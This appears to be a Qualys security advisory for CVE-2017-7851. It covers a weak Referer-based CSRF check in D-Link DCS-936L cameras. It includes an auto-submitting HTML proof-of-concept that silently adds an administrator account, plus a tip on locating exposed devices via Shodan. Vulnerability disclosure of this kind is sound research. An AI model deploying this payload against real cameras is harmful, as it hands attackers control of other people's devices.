D-Link Network Camera DCS-936L Weak CSRF Protection Vulnerability

SYNOPSIS:

D-Link DCS-936L camera implements CSRF protection which can be bypassed easily.


**CVE:** [http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7851](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7851)

VULNERABILITY DETAILS:

**Lab Setup:**

1. Target Camera: D-Link DCS-936L with latest firmware version 1.02.01
2. Target IP Address: 192.168.100.6

**Vulnerable/Tested Version:**

D-Link DCS-936L running firmware version 1.02.01 is affected. Other models may also be affected.

**Vulnerability: Cross-Site-Request-Forgery (CSRF) Bypass**

D-Link DCS-936L prevents CSRF attack by looking at ‘Referer’ header. The ‘Referer’ IP should match with the one in ‘HOST’ header. If it does not, HTTP 403 is returned in the response.

However, this device does not perform a strict check on ‘Referer’ header. It seems that it looks for the device’s IP address (which is the one in ‘HOST’ header) anywhere in the ‘Referer’ header. If found, it happily accepts the request.

An unauthenticated, remote attacker could host a malicious site that makes requests to the victim’s device without having credentials.

**Risk Factor:** Low

**Impact:**

If a victim is logged into camera’s web console and visits a malicious site hosting a `<Target_Device_IP.HTML>` from another tab in the same browser, the malicious site can send requests to
victim’s device. An attacker can add a new user, replace the firmware with malicious one or connect victim’s device to rogue Wireless Network.

**Note:** An attacker can easily find out public IP address of victim’s device on Shodan or similar search engines to create `<Target_Device_IP.HTML>` file

**CVSS Score:** AV: N/AC: M/AU: N/C/I: C/A:C

**Proof-Of-Concept:**

1. Attacker hosts a ‘192.168.100.6.html’ on 174.138.67.126

   ```html
   <html>
   <body>
   <form id="CSRF" action="http://192.168.100.6/eng/admin/tools_admin.cgi" method="POST">
     <input type="hidden" name="user" value="hacker">
     <input type="hidden" name="action" value="set">
     <input type="hidden" name="password" value="abc123">
     <input type="hidden" name="confirmPassword" value="abc123">
   </form>
   
   <script>
   window.onload = function()
   {
     document.forms['CSRF'].submit()
   }
   
   </script>
   
   </body>
   </html>
   ``

2. **Note:** This request can be sent over HTTPS. The only reason I am sending it over HTTP is to avoid Browser’s warning for BurpSuite Proxy.

   2. Victim logs into his device.

4. Above request adds a new user ‘Hacker’ which reboots the web server.
5. Request in BurpSuite:
6. Browser sends add new user request to the target device 192.168.100.6. Referer header is set to http://174.138.67.126/192.100.6.html. As this contains the IP address of the device (192.168.100.6), this request is processed successfully.
7. Server response shows user hacker added successfully:

```
<user>
  <name>admin</name>
</user>

<Users/>

<name>hacker</name>
</User>
</Users>
</conf>
```
8. Attacker can now log into the device as hacker/abc123

CREDITS:

The discovery and documentation of this vulnerability was conducted by Kapil Khot, Qualys Vulnerability Signature/Research Team.

CONTACT:

For more information about the Qualys Security Research Team, visit our website at http://www.qualys.com or send email to research@qualys.com

LEGAL NOTICE:

The information contained within this advisory is Copyright (C) 2017 Qualys Inc. It may be redistributed provided that no fee is charged for distribution and that the advisory is not modified in any way.